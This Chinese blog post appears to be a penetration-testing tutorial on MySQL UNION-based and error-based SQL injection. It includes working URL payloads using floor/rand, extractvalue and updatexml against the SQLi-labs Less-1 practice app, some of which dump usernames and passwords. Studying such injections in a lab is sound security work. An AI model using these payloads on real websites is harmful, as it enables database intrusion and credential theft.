渗透(四)之Mysql的UNION联合注入和报错注入

  • Post author:
  • Post category:mysql




union联合查询注入

UNION操作符用于

合并两个或多个SELETC语句的结果集



前提

UNION内部的SELECT语句必须拥有

相同数量的列

,列也必须拥有

相似的数据类型

。同时,每条,每条SELECT语句中的

列的顺序

必须相同

默认情况下,UNION操作符选取不同的值,如果允许重复的值,请使用UNION ALL



UNION注入应用场景

  1. 只有最后一个SELECT 字句允许有ORDER BY;


    select * from users order by id union select 1,2,3;错误

  2. 只有最后一个SELECT字句允许有LIMIT


    select * from users limit 0,1 union select 1,2,3 错误

  3. 只要UNION连接的几个查询字段数一样且列的数据类型转换没有问题,就可以查询出结果

    insert update 数据库信息时也不能使用UNION注入

  4. 注入页面有回显



UNION注入过程

在这里插入图片描述

首先判断列出因为UION语句的前提必须是两个SELECT语句的列数相同



报错注入

使用函数让错误爆出来,在适当的地方插入SQL语句



报错注入原理

在这里插入图片描述



报错注入方法三大公式

在这里插入图片描述



1 floor报错注入方法原理

在这里插入图片描述



针对SQLlilab less-1

127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(

select version()

),floor(rand(0)*2)))–+

结果看到数据库版本报错



查看数据库有哪些表

127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(

select table_name from information_schema.tables where table_schema=database() limit 0,1

),floor(rand(0)*2)))–+

结果users表



查看表中有哪些列

127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(

select cloumn_name from information_schema.columns where table_name=‘users’ limit 0,1

),floor(rand(0)*2)))–+

结果username password列



查看列中有哪些数据

127.0.0.1/less-1/?id=1’and (select count(*) from information_schema.tables group by concat(

select concat(username,0x7e,password) from ‘users’limit 1,1

) ,floor(rand(0)*2)))–+



2 extractvalue()报错注入方法

在这里插入图片描述

select extractvalue(1,

concat(’!’,(select user())

));

concat链接的字符串第一位一定是一个非法的



3 updatexml()报错注入方法

在这里插入图片描述

第二个构造参数一定得错误

127.0.0.1/less-1/?id=1’and updatexml(1,

concat(0x7e,(select user()))

,1)–+

如果想通过错误得到的信息过于长通过使用substr,截取报错信息的一部分

127.0.0.1/less-1/?id=1’and updatexml(1,concat(0x7e,substr((select user(),1,10)),1)–+

在这里插入图片描述



版权声明:本文为qq_32719221原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。